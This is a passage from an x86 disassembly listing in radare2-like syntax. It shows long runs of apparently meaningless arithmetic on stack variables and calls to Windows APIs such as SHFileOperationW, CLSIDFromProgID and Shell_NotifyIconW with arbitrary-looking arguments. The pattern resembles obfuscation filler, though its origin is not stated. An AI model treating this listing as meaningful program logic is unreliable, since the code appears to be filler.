mov dword [ebp - 0xe1c], eax
mov eax, dword [0x519d90]
sub eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x12cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x665], al
push 0x92
mov eax, dword [ebp - 0xb68]
push eax
mov ecx, dword [ebp - 0x158]
push ecx
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [ebp - 0x1084], ax
mov edx, dword [ebp - 0x11bc]
mov al, byte [edx]
mov byte [ebp - 0x19a0], al
cmp byte [ebp - 0x19a0], 0x12
je 0x4c3627
cmp byte [ebp - 0x19a0], 0x4e
je 0x4c365a
jmp 0x4c3672
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xc64]
mov word [eax], dx
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x82c]
mov dword [ebp - 0xa1c], edx
jmp 0x4c3672
mov eax, dword [ebp - 0x118]
mov edx, dword [ebp - 0x1090]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x684]
mov dword [eax], edx
jmp 0x4d10d4
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [ebp - 0xa1c]
xor edx, dword [ecx]
mov dword [ebp - 0x468], edx
mov eax, dword [ebp - 0xd84]
mov ecx, dword [ebp - 0x110]
mov edx, dword [eax]
or edx, dword [ecx]
mov eax, dword [ebp - 0xd28]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xd64]
cmp edx, ecx
jbe 0x4c36cd
mov edx, dword [ebp - 0xfa8]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
add eax, ecx
mov edx, dword [0x519dfc]
mov word [edx], ax
jmp 0x4d10a9
movsx eax, byte [ebp - 0x81]
mov ecx, dword [ebp - 0x11bc]
movsx edx, byte [ecx]
sub eax, edx
movsx ecx, byte [ebp - 0xe2d]
movsx edx, byte [ebp - 0x10a1]
add ecx, edx
cmp eax, ecx
jge 0x4c37bf
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x19a4], eax
cmp dword [ebp - 0x19a4], 0x45d7b5c5
je 0x4c3711
jmp 0x4c372b
movzx edx, byte [ebp - 0x7c2]
movzx ecx, byte [ebp - 0x92d]
sar edx, cl
mov eax, dword [ebp - 0x1360]
mov byte [eax], dl
jmp 0x4c3773
mov edx, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0xfbc]
shl edx, cl
mov dword [ebp - 0xd64], edx
push 0x15
lea eax, [ebp - 0x7bc]
push eax
push section..text
mov ecx, dword [ebp - 0x700]
push ecx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0xfac], eax
mov edx, dword [ebp - 0x468]
or edx, dword [ebp - 0x82c]
mov eax, dword [ebp - 0x3ec]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x665]
mov edx, dword [ebp - 0x1360]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x92d], cl
movzx ecx, word [ebp - 0x75c]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x358]
mov word [edx], cx
mov eax, dword [ebp - 0x1108]
mov ecx, dword [0x519d90]
sub ecx, dword [eax]
mov dword [ebp - 0x7dc], ecx
jmp 0x4d0ff1
mov edx, dword [ebp - 0x658]
movzx eax, word [edx]
mov dword [ebp - 0x19a8], eax
cmp dword [ebp - 0x19a8], 0x1c
je 0x4c38fa
cmp dword [ebp - 0x19a8], 0xf47
je 0x4c37ec
jmp 0x4c395c
lea ecx, [ebp - 0x95c]
push ecx
lea edx, [ebp - 0x11a0]
push edx
call dword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [ebp - 0x118c], eax
movsx eax, word [ebp - 0xfc0]
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [0x519dfc]
mov word [ecx], ax
mov edx, dword [ebp - 0xd84]
mov eax, dword [edx]
mov dword [ebp - 0x19ac], eax
cmp dword [ebp - 0x19ac], 0x5947f53e
je 0x4c3850
cmp dword [ebp - 0x19ac], 0xa0b66241
je 0x4c38e5
jmp 0x4c38f8
movzx ecx, word [ebp - 0xa20]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
and ecx, eax
movzx edx, word [ebp - 0x8ac]
mov eax, dword [ebp - 0xa28]
movzx eax, word [eax]
add edx, eax
cmp ecx, edx
jg 0x4c388e
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
call fcn.004721c0
mov ecx, dword [ebp - 0x3ec]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xb64]
mov dword [ebp - 0xa1c], edx
mov eax, dword [ebp - 0xd84]
mov ecx, dword [ebp - 0xd64]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x12cc]
mov dword [edx], ecx
movzx eax, word [ebp - 0x75c]
push eax
mov ecx, dword [ebp - 0x11bc]
movzx edx, byte [ecx]
push edx
movzx eax, word [ebp - 0x1a8]
push eax
mov dl, byte [ebp - 0x7c2]
mov cl, byte [ebp - 0x7c2]
call fcn.00478870
jmp 0x4c38f8
lea ecx, [ebp - 0xc64]
push ecx
call dword [sym.imp.SHELL32.dll_ILCloneFirst]
mov dword [ebp - 0x190], eax
jmp 0x4c395c
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc64]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x8ac], ax
movzx eax, byte [ebp - 0x92d]
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x32c]
mov byte [ecx], al
lea edx, [ebp - 0xfa8]
push edx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x15c]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x108c]
or ecx, dword [0x519004]
mov dword [ebp - 0x13e8], ecx
mov dl, byte [ebp - 0xe2d]
mov byte [ebp - 0x19b0], dl
cmp byte [ebp - 0x19b0], 0x66
je 0x4c3985
jmp 0x4c39cf
mov eax, dword [ebp - 0xfe4]
mov cx, word [eax]
mov word [ebp - 0xf88], cx
lea edx, [ebp - 0x17d]
mov dword [ebp - 0x13b8], edx
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x358]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x181c]
mov word [edx], cx
lea eax, [ebp - 0xe81]
mov dword [ebp - 0x768], eax
jmp 0x4c3ac4
lea ecx, [ebp - 0x358]
push ecx
call dword [sym.imp.ole32.dll_CoFileTimeNow]
mov dword [ebp - 0x100], eax
mov edx, dword [ebp - 0x1108]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x154]
shl eax, cl
mov dword [ebp - 0xd64], eax
mov ecx, dword [ebp - 0x320]
mov edx, dword [ebp - 0x12cc]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0xd84]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x7c2]
movzx eax, byte [ebp - 0x92d]
sub edx, eax
mov ecx, dword [ebp - 0x6cc]
movzx eax, byte [ecx]
movzx ecx, byte [ebp - 0xe81]
add eax, ecx
cmp edx, eax
jge 0x4c3a90
mov edx, dword [ebp - 0x13b8]
mov al, byte [edx]
mov byte [ebp - 0x19b4], al
cmp byte [ebp - 0x19b4], 0x6e
je 0x4c3a4f
jmp 0x4c3a80
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x13b8]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x9a4]
movzx eax, word [edx]
push eax
mov dl, byte [ebp - 0xe81]
mov cl, byte [ebp - 0xdd5]
call fcn.00478870
jmp 0x4c3a8e
push 0x2d
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [ebp - 0xe1c], eax
jmp 0x4c3ac4
mov ecx, dword [ebp - 0x684]
mov edx, dword [section..data]
add edx, dword [ecx]
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0x108c]
sub ecx, dword [eax]
cmp edx, ecx
jge 0x4c3ac4
mov edx, dword [ebp - 0x82c]
and edx, dword [ebp - 0xa1c]
mov eax, dword [ebp - 0x13b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x41c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x108c], eax
mov ecx, dword [0x519dfc]
movsx edx, word [ecx]
mov dword [ebp - 0x19b8], edx
cmp dword [ebp - 0x19b8], 0
je 0x4c3af4
jmp 0x4c3b38
mov eax, dword [ebp - 0x3ec]
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xb64], edx
lea eax, [ebp - 0x92d]
mov dword [ebp - 0xde4], eax
mov ecx, dword [ebp - 0x658]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x181c]
mov word [eax], dx
jmp 0x4c3bcc
mov cl, byte [ebp - 0xe81]
mov byte [ebp - 0x19bc], cl
cmp byte [ebp - 0x19bc], 0x1b
je 0x4c3b4f
jmp 0x4c3bb2
mov edx, dword [ebp - 0xb64]
add edx, dword [ebp - 0xa1c]
mov eax, dword [ebp - 0x13b4]
mov ecx, dword [ebp - 0x118]
mov eax, dword [eax]
xor eax, dword [ecx]
cmp edx, eax
jge 0x4c3b76
call fcn.004d7e60
jmp 0x4c3bb0
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x118]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x684]
mov edx, dword [ebp - 0x108c]
mov ecx, dword [ecx]
shl edx, cl
cmp eax, edx
jl 0x4c3bb0
mov eax, dword [ebp - 0xd84]
mov edx, dword [ebp - 0x154]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x519d90], edx
jmp 0x4c3bcc
mov eax, dword [ebp - 0x1034]
push eax
mov ecx, dword [ebp - 0x1038]
push ecx
call dword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [ebp - 0x990], eax
mov edx, dword [ebp - 0x3ec]
mov eax, dword [edx]
mov dword [ebp - 0x19c0], eax
cmp dword [ebp - 0x19c0], 0x3617ef4a
je 0x4c3bfb
cmp dword [ebp - 0x19c0], 0x446313ff
je 0x4c3c7c
jmp 0x4c3d04
mov ecx, dword [ebp - 0x468]
and ecx, dword [section..data]
mov edx, dword [ebp - 0x3ec]
mov dword [edx], ecx
movsx eax, word [ebp - 0xfc0]
mov dword [ebp - 0x19c4], eax
cmp dword [ebp - 0x19c4], 0x22d4
je 0x4c3c36
cmp dword [ebp - 0x19c4], 0x2b64
je 0x4c3c63
jmp 0x4c3c77
mov ecx, dword [ebp - 0x15c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x468]
mov dword [ebp - 0x108c], edx
movzx eax, byte [ebp - 0x665]
push eax
mov ecx, dword [ebp - 0x358]
movzx edx, word [ecx]
push edx
call section..text
jmp 0x4c3c77
mov eax, dword [ebp - 0x154]
add eax, dword [ebp - 0xd64]
mov ecx, dword [ebp - 0xd84]
mov dword [ecx], eax
jmp 0x4c3d04
mov edx, dword [ebp - 0x11bc]
mov al, byte [edx]
mov byte [ebp - 0x19c8], al
cmp byte [ebp - 0x19c8], 0x32
je 0x4c3c95
jmp 0x4c3cea
mov ecx, dword [ebp - 0xa28]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x75c], dx
lea edx, [ebp - 0xfac]
push edx
push fcn.0046d040
mov eax, dword [ebp - 0xd38]
push eax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0xfac], eax
movzx ecx, byte [ebp - 0xdd5]
mov edx, dword [ebp - 0xde4]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xa24]
mov byte [edx], cl
jmp 0x4c3d04
mov eax, dword [ebp - 0x11bc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x13b8]
movsx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xe2d], cl
movsx ecx, byte [ebp - 0x17d]
mov edx, dword [ebp - 0x13b8]
movsx eax, byte [edx]
imul ecx, eax
mov edx, dword [ebp - 0x11bc]
movsx eax, byte [edx]
movsx edx, byte [ebp - 0x10a1]
and eax, edx
cmp ecx, eax
je 0x4d0f24
mov eax, dword [ebp - 0xa28]
mov cx, word [eax]
mov word [ebp - 0x8f8], cx
mov edx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x18b8]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x12cc]
add edx, dword [ecx]
cmp eax, edx
jae 0x4c3dac
mov edx, dword [ebp - 0xc64]
movzx eax, word [edx]
mov dword [ebp - 0x19cc], eax
cmp dword [ebp - 0x19cc], 0x85e
je 0x4c3d80
jmp 0x4c3d95
lea ecx, [ebp - 0x308]
push ecx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x82c], eax
jmp 0x4c3da7
mov edx, dword [ebp - 0x1090]
sub edx, dword [ebp - 0xb64]
mov dword [ebp - 0x82c], edx
jmp 0x4c3f04
mov eax, dword [ebp - 0x181c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xa20]
sub ecx, edx
movzx eax, word [ebp - 0x75c]
movzx edx, word [ebp - 0x8ac]
imul eax, edx
cmp ecx, eax
jne 0x4c3e8d
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0x1108]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x110]
mov dword [eax], edx
mov cl, byte [ebp - 0x10a1]
mov byte [ebp - 0x19d0], cl
cmp byte [ebp - 0x19d0], 0x19
je 0x4c3e0f
cmp byte [ebp - 0x19d0], 0x32
je 0x4c3e7c
jmp 0x4c3e8d
push 0x74
mov edx, dword [ebp - 0x8e4]
push edx
push 0x9f
mov eax, dword [ebp - 0x1408]
push eax
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x18b8], eax
mov cl, byte [ebp - 0x10a1]
mov byte [ebp - 0x19d4], cl
cmp byte [ebp - 0x19d4], 0x54
je 0x4c3e47
jmp 0x4c3e64
mov edx, dword [ebp - 0x41c]
mov eax, dword [ebp - 0x108c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x9bc]
mov dword [ecx], eax
call fcn.004d7e60
jmp 0x4c3e7a
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0xa1c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x468], eax
jmp 0x4c3e8d
push 0x8f
call dword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov dword [ebp - 0x104], eax
movzx edx, word [0x519008]
mov eax, dword [ebp - 0xa28]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x181c]
mov word [ecx], dx
mov edx, dword [ebp - 0x32c]
mov al, byte [edx]
mov byte [ebp - 0x11b1], al
mov ecx, dword [ebp - 0x11bc]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x17d]
cdq
idiv ecx
mov byte [0x51900b], al
mov edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0xd28]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x2e0], ecx
mov edx, dword [ebp - 0xa2c]
mov eax, dword [ebp - 0x468]
xor eax, dword [edx]
mov dword [ebp - 0xb64], eax
lea ecx, [ebp - 0x1090]
mov dword [ebp - 0x1000], ecx
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
mov dword [ebp - 0x19d8], eax
cmp dword [ebp - 0x19d8], 0
je 0x4c3f1e
jmp 0x4c3f53
mov ecx, dword [ebp - 0x13b4]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x3ec]
add edx, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx], edx
lea edx, [ebp - 0x1090]
mov dword [ebp - 0x790], edx
lea eax, [ebp - 0xe2d]
mov dword [ebp - 0xc54], eax
jmp 0x4c4040
mov ecx, dword [ebp - 0x12cc]
mov edx, dword [ecx]
mov dword [ebp - 0x19dc], edx
cmp dword [ebp - 0x19dc], 0x6e3701af
je 0x4c3f7e
cmp dword [ebp - 0x19dc], 0x8d9211d9
je 0x4c3fcc
jmp 0x4c4040
mov eax, dword [ebp - 0x9a4]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xfc0]
and ecx, edx
mov eax, dword [ebp - 0xfe4]
mov word [eax], cx
movzx ecx, byte [ebp - 0x11b1]
mov edx, dword [ebp - 0xa24]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xdd5], cl
mov ecx, dword [ebp - 0x1360]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x13b8]
movzx ecx, byte [eax]
push ecx
call fcn.004d1cd0
jmp 0x4c4040
mov edx, dword [ebp - 0x9a4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
add eax, ecx
mov edx, dword [0x519dfc]
mov word [edx], ax
mov eax, dword [ebp - 0x1108]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x2e0]
mov dword [ebp - 0xd64], ecx
lea edx, [ebp - 0x12a8]
push edx
lea eax, [ebp - 0x7bc]
push eax
lea ecx, [ebp - 0x6cc]
push ecx
push 0xeb
lea edx, [ebp - 0xd10]
push edx
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0x1050], eax
mov eax, dword [ebp - 0x320]
mov ecx, dword [ebp - 0x110]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x12cc]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10b4]
mov dword [ebp - 0x19e0], ecx
cmp dword [ebp - 0x19e0], 0xf250
je 0x4c405e
jmp 0x4d0ebd
mov edx, dword [ebp - 0x768]
mov al, byte [edx]
mov byte [ebp - 0x19e4], al
cmp byte [ebp - 0x19e4], 0xe5
je 0x4c407a
jmp 0x4c4180
mov ecx, dword [ebp - 0xd84]
mov edx, dword [ebp - 0xd64]
or edx, dword [ecx]
mov eax, dword [ebp - 0xfbc]
xor eax, dword [ebp - 0x18b8]
cmp edx, eax
ja 0x4c4149
mov ecx, dword [ebp - 0x790]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x9bc]
add edx, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov dword [ecx], edx
movsx edx, word [ebp - 0xf88]
mov dword [ebp - 0x19e8], edx
cmp dword [ebp - 0x19e8], 0x4ddc
je 0x4c40cf
jmp 0x4c40f0
lea eax, [ebp - 0x138]
push eax
lea ecx, [ebp - 0x584]
push ecx
lea edx, [ebp - 0xdc8]
push edx
call dword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [ebp - 0x990], eax
lea eax, [ebp - 0x1810]
push eax
push 0xc4
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [ebp - 0xfac], eax
mov ecx, dword [ebp - 0x108c]
add ecx, dword [ebp - 0x1090]
mov dword [ebp - 0x82c], ecx
mov edx, dword [0x519dfc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1a8]
and eax, ecx
mov edx, dword [0x519dfc]
mov word [edx], ax
mov edx, dword [ebp - 0x154]
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
call fcn.004721c0
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x18b8]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0xd84]
mov dword [eax], edx
lea ecx, [ebp - 0xc54]
push ecx
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.ole32.dll_OleDoAutoConvert]
mov dword [ebp - 0x18c], eax
jmp 0x4d0e4d
mov eax, dword [ebp - 0xa2c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x468]
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0xa1c]
sub eax, dword [edx]
cmp ecx, eax
jle 0x4c41bd
movzx ecx, byte [ebp - 0xdd5]
movzx edx, byte [ebp - 0x7c2]
sub ecx, edx
mov eax, dword [ebp - 0x1360]
mov byte [eax], cl
call fcn.0046d040
mov cl, byte [ebp - 0x7c2]
mov byte [ebp - 0x19ec], cl
cmp byte [ebp - 0x19ec], 0x85
je 0x4c41d4
jmp 0x4c4244
mov edx, dword [ebp - 0xd84]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x18b8], eax
lea ecx, [ebp - 0x1180]
push ecx
call dword [sym.imp.SHELL32.dll_ILRemoveLastID]
mov dword [ebp - 0x394], eax
mov edx, dword [ebp - 0x13b4]
mov eax, dword [ebp - 0x468]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x9bc]
mov dword [ecx], eax
mov edx, dword [ebp - 0xfe4]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xf88]
sub eax, ecx
mov word [ebp - 0xfc0], ax
movzx edx, byte [ebp - 0x665]
push edx
movzx eax, byte [ebp - 0x81]
push eax
call fcn.004d1cd0
jmp 0x4c4391
mov ecx, dword [ebp - 0x13b8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc54]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x11bc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x19f0], ecx
cmp dword [ebp - 0x19f0], 0x702ccdae
je 0x4c427d
jmp 0x4c433f
mov edx, dword [ebp - 0x13b8]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17d]
sub eax, ecx
mov edx, dword [ebp - 0x11bc]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 0x81]
xor ecx, edx
cmp eax, ecx
je 0x4c433d
mov eax, dword [ebp - 0x11bc]
mov cl, byte [eax]
mov byte [ebp - 0x19f4], cl
cmp byte [ebp - 0x19f4], 0x77
je 0x4c42c2
jmp 0x4c432b
mov edx, dword [ebp - 0xa24]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xde4]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x32c]
mov byte [edx], al
mov eax, dword [ebp - 0x658]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x8ac]
or ecx, edx
mov word [ebp - 0x8f8], cx
lea eax, [ebp - 0xb08]
push eax
call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x6d0], eax
mov ecx, dword [ebp - 0x1108]
mov edx, dword [ebp - 0x110]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x320]
mov dword [ecx], eax
call fcn.004d7e60
jmp 0x4c433d
mov edx, dword [ebp - 0x3ec]
mov eax, dword [section..data]
and eax, dword [edx]
mov dword [0x519004], eax
jmp 0x4c4391
mov ecx, dword [ebp - 0x118]
mov edx, dword [ebp - 0x15c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1000]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0x110]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xbd4], ecx
mov edx, dword [ebp - 0x790]
mov eax, dword [ebp - 0x82c]
and eax, dword [edx]
mov dword [ebp - 0xb64], eax
mov ecx, dword [ebp - 0xc64]
mov dx, word [ecx]
mov word [ebp - 0x136c], dx
mov eax, dword [ebp - 0x768]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x11b1]
add ecx, edx
mov eax, dword [ebp - 0x6cc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x13b8]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x81]
add edx, eax
mov ecx, dword [ebp - 0x11bc]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0xe2d]
sub eax, ecx
cmp edx, eax
jl 0x4c4656
movsx edx, word [ebp - 0xf88]
mov dword [ebp - 0x19f8], edx
cmp dword [ebp - 0x19f8], 0
je 0x4c44ed
cmp dword [ebp - 0x19f8], 0x68c
je 0x4c4402
jmp 0x4c4656
movsx eax, word [ebp - 0x1a8]
mov ecx, dword [ebp - 0x9a4]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x1084]
add edx, ecx
cmp eax, edx
jl 0x4c44e8
mov edx, dword [ebp - 0x108c]
mov ecx, dword [ebp - 0xb64]
shl edx, cl
mov eax, dword [ebp - 0x684]
mov dword [eax], edx
mov ecx, dword [ebp - 0xbd4]
mov dword [ebp - 0x19fc], ecx
cmp dword [ebp - 0x19fc], 0x94113765
je 0x4c445e
jmp 0x4c44b5
lea edx, [ebp - 0x13e8]
push edx
lea eax, [ebp - 0x584]
push eax
call dword [sym.imp.ole32.dll_CoGetPSClsid]
mov dword [ebp - 0x6d0], eax
mov ecx, dword [ebp - 0xd28]
mov edx, dword [ecx]
xor edx, dword [0x519d90]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x13e8]
or eax, dword [ebp - 0xa1c]
mov ecx, dword [ebp - 0x118]
mov dword [ecx], eax
lea edx, [ebp - 0xa28]
push edx
call dword [sym.imp.SHELL32.dll_ILClone]
mov dword [ebp - 0xa94], eax
jmp 0x4c44e8
movzx eax, byte [ebp - 0x92d]
push eax
mov ecx, dword [ebp - 0x320]
mov edx, dword [ecx]
push edx
mov eax, dword [0x519dfc]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0x13b8]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x11bc]
movzx edx, byte [ecx]
push edx
call fcn.00429f50
jmp 0x4c4656
movzx esi, word [ebp - 0xa20]
movzx ecx, word [ebp - 0x136c]
sar esi, cl
mov eax, dword [ebp - 0x658]
movzx eax, word [eax]
movzx ecx, word [ebp - 0x75c]
cdq
idiv ecx
cmp esi, eax
jl 0x4c4656
movsx edx, word [ebp - 0x1084]
movsx eax, word [ebp - 0xf88]
and edx, eax
movsx ecx, word [ebp - 0x1a8]
mov eax, dword [ebp - 0xfe4]
movsx eax, word [eax]
add ecx, eax
cmp edx, ecx
jg 0x4c4622
movsx ecx, byte [ebp - 0x17d]
movsx edx, byte [ebp - 0xe2d]
sub ecx, edx
movsx eax, byte [ebp - 0x81]
mov edx, dword [ebp - 0xc54]
movsx edx, byte [edx]
imul eax, edx
cmp ecx, eax
jle 0x4c45d5
mov eax, dword [ebp - 0xfa8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0xfe4]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [0x519dfc]
mov word [edx], cx
lea eax, [ebp - 0x4a0]
push eax
push str.ungainly_midsummer_modernist
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [ebp - 0x118c], eax
movzx ecx, word [ebp - 0xa20]
mov edx, dword [ebp - 0x181c]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0x75c], cx
mov ecx, dword [ebp - 0x32c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x768]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xa24]
mov byte [eax], dl
jmp 0x4c4620
mov ecx, dword [ebp - 0xfa8]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xfe4]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xf88], dx
lea edx, [ebp - 0x10a1]
mov dword [ebp - 0x484], edx
mov eax, dword [ebp - 0xd84]
mov edx, dword [ebp - 0x18b8]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x110]
mov dword [eax], edx
lea ecx, [ebp - 0x82c]
mov dword [ebp - 0xde0], ecx
jmp 0x4c4656
mov edx, dword [ebp - 0xc54]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17d]
add eax, ecx
movsx edx, byte [ebp - 0x10a1]
mov ecx, dword [ebp - 0x13b8]
movsx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jne 0x4c4656
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0xfbc], eax
mov edx, dword [ebp - 0xa28]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10b4]
cdq
idiv ecx
mov edx, dword [ebp - 0x658]
movzx edx, word [edx]
mov ecx, dword [ebp - 0xc64]
movzx ecx, word [ecx]
shl edx, cl
cmp eax, edx
jg 0x4c47e4
mov edx, dword [ebp - 0x484]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc54]
movsx edx, byte [ecx]
add eax, edx
movsx ecx, byte [ebp - 0x17d]
mov edx, dword [ebp - 0x11bc]
movsx edx, byte [edx]
add ecx, edx
cmp eax, ecx
jl 0x4c476a
mov eax, dword [ebp - 0x484]
mov cl, byte [eax]
mov byte [ebp - 0x1a00], cl
cmp byte [ebp - 0x1a00], 0xb
je 0x4c4752
cmp byte [ebp - 0x1a00], 0x66
je 0x4c46dc
jmp 0x4c4768
mov edx, dword [0x519dfc]
movsx eax, word [edx]
mov dword [ebp - 0x1a04], eax
